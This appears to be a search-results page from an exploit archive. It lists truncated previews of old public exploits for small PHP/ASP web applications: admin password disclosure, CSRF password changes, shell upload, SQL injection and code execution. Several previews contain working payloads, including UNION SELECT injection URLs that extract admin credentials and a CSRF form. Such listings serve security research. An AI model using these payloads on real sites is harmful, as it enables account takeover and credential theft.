42 matches found
ABC Advertise 1.0 - Admin Password Disclosure
ABC Advertise 1.0 - Admin Password Disclosure homepage : http://www.zakkis.ca./index.php?p=39 + ABC Advertise 1.0 Admin Data Disclosure + Discovered By SirGod + www.mortal-team.net + www.h4cky0u.org + Admin Data Disclosure - Go to http://127.0.0.1/path/admin.inc.php - You will find there the admi...
EFS Easy Chat Server 2.2 - Cross-Site Request Forgery (Change Admin Password)
EFS Easy Chat Server XSRF Change Admin Pass Vulnerability Booom!! Username: Password: Confirm Password: Email: chi le3ba...
EFS Easy Chat Server (XSRF) Change Admin Pass Vulnerability
Exploit for unknown platform in category remote exploits =========================================================== EFS Easy Chat Server XSRF Change Admin Pass Vulnerability =========================================================== EFS Easy Chat Server XSRF Change Admin Pass Vulnerability...
EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability
No description provided by source. | | | Project: EggBlog v 3.1.10 | | Author: x0r | | Email: andry2000athotmaildotit | || Code: html titlex0r :P /title form id="forum-form" name="forumform" method="post" action="http://site/path/change.php" input type="hidden" size="30" id="forumpassword"...
Doop 1.4.0b XSRF / Shell Upload
-------------------------------------------------------------------------- | Project: Doop document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi file non controlla...
doop CMS <= 1.4.0b (CSRF/Upload Shell) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ====================================================================== doop CMS document.admin.submit ---------------------------------------------------------------------- -- Upload Shell -- Ok. Una volta nel pannello di amministrazione...
easybe-sql.txt
--==+================================================================================+==-- --==+ Easybe 1-2-3 Music Store SQL Injection Vulnerability +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE:...
PT-2007-3853 · Phphoo3 · Phphoo3
Name of the Vulnerable Software and Affected Versions: phpHoo3 affected versions not specified Description: The issue allows remote attackers to execute arbitrary SQL commands via the ADMIN USER and ADMIN PASS parameters during a login in the admin.php file. However, it is noted that ADMIN USER a...
Guestbara 1.2 - Change Admin Login and Password
Guestbara = 1.2 Change admin login & password exploit by Kacper Admin Email Admin Name Admin Pass by Kacper for DEVIL TEAM script download: http://www.hotscripts.pl/produkt-3051.html Greetz @ll DEVIL TEAM milw0rm.com 2007-03-18...
phpStats 0.1.9 - PHP-Stats-options.php Remote Code Execution
phpStats 0.1.9 - PHP-Stats-options.php Remote Code Execution source: https://www.securityfocus.com/bid/23008/info PhpStats is prone to a remote code-execution vulnerability because the application fails to sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary PHP...
PHP-Stats 0.1.9.1b - ip SQL Injection
PHP-Stats 0.1.9.1b - ip SQL Injection 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...
sNews SNews.PHP验证绕过漏洞
sNews是一款基于PHP的WEB应用程序。 sNews不正确过滤用户提交的输入,远程攻击者可以利用漏洞绕过验证,获得管理员的访问。 问题是'SNews.PHP'脚本对用户提交的WEB参数缺少过滤,提交恶意数据作为参数,可导致重设管理员密码,获得对应用程序的控制。 sNews sNews 1.5.30 sNews sNews 1.5.29 目前没有解决方案提供: http://www.solucija.com/home/snews/ ?php printr'...
sNews <= 1.5.30 Remote Reset Admin Pass / Command Exec Exploit
Exploit for unknown platform in category web applications ============================================================== sNews = 1.5.30 Remote Reset Admin Pass / Command Exec Exploit ============================================================== ?php printr'...
YenerTurk Haber Script 1.0 Remote SQL Injection Vulnerability
No description provided by source. YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to...
YenerHaber.txt
BiyoSecurity.Org script name : Yener Haber Script v2.0 Demo : http://www50.brinkster.com/yenerturk Risk : High Regards : DjReMix Thanks : Korsan , Liz0zim , TRIP Exploit : http://victim.com/?x=2&kategori=11&id=-1%20union+select+id,kullaniciadi,sifre,4,5,6,7,8,9+from+admin Admin Pass Displayed :=...
YenerTurk Haber Script 1.0 - SQL Injection
YenerTurk Haber Script 1.0 - SQL Injection YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to...
YenerTurk Haber Script 1.0 Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================= YenerTurk Haber Script 1.0 Remote SQL Injection Vulnerability ============================================================= YenerTurk Haber Script v1.0 SQL Injection Vulnebralit...
YenerTurk Haber Script 1.0 - SQL Injection
YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to YenerTurk/default.asp?x=2&kategori=11&id=-1%20union%20select%200,kullaniciadi,2,3,4,5,6,7,8%20from%20admin%20where%20id%20like%201 Admin pass:...
aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit
!-- Title : aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injection Author : ajann Dork : aspWebLinks 2.0 SQL INJECTION: http://target/path/links.asp?action=reporterror&linkID=22120union20select+0,administrativepassword,0,0,0,0,0,0,0+from+config -- titleAspWebLink 2.0 Remote...
aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit
Exploit for unknown platform in category web applications ================================================================ aspWebLinks 2.0 Remote SQL Injection / Admin Pass Change Exploit ================================================================ AspWebLink 2.0 Remote Admin Pass Change...